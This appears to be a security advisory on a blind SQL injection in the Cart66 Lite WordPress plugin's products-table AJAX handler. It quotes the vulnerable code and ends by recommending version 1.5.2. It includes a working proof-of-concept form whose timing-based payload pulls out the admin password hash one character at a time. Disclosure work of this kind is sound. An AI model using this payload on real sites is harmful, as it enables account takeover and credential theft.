  1. Description
  
  Cart66Ajax::shortcodeProductsTable() is accessible for every registered user.
  
  $postId is not escaped correctly (only html tags are stripped).
  
  File: cart66-lite\models\Cart66Ajax.php
  public static function shortcodeProductsTable() {
  global $wpdb;
  $prices = array();
  $types = array();
  $postId = Cart66Common::postVal('id');
  $product = new Cart66Product();
  $products = $product->getModels("where id=$postId", "order by name");
  $data = array();
  }

  2. Proof of Concept
  
  Login as regular user (created using wp-login.php?action=register):
  
  <form action="http://wordpress-install/wp-admin/admin-ajax.php" method="post">
  <input type="hidden" name="action" value="shortcode_products_table">
  Blind SQL Injection: <input type="text" name="id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM wp_users WHERE ID = 1) -- ">
  <input value="Hack" type="submit">
  </form>
  
  This SQL will check if first password character user ID=1 is “$”.
  
  If yes, it will sleep 5 seconds.
  
  3. Solution:
  
  Update to version 1.5.2
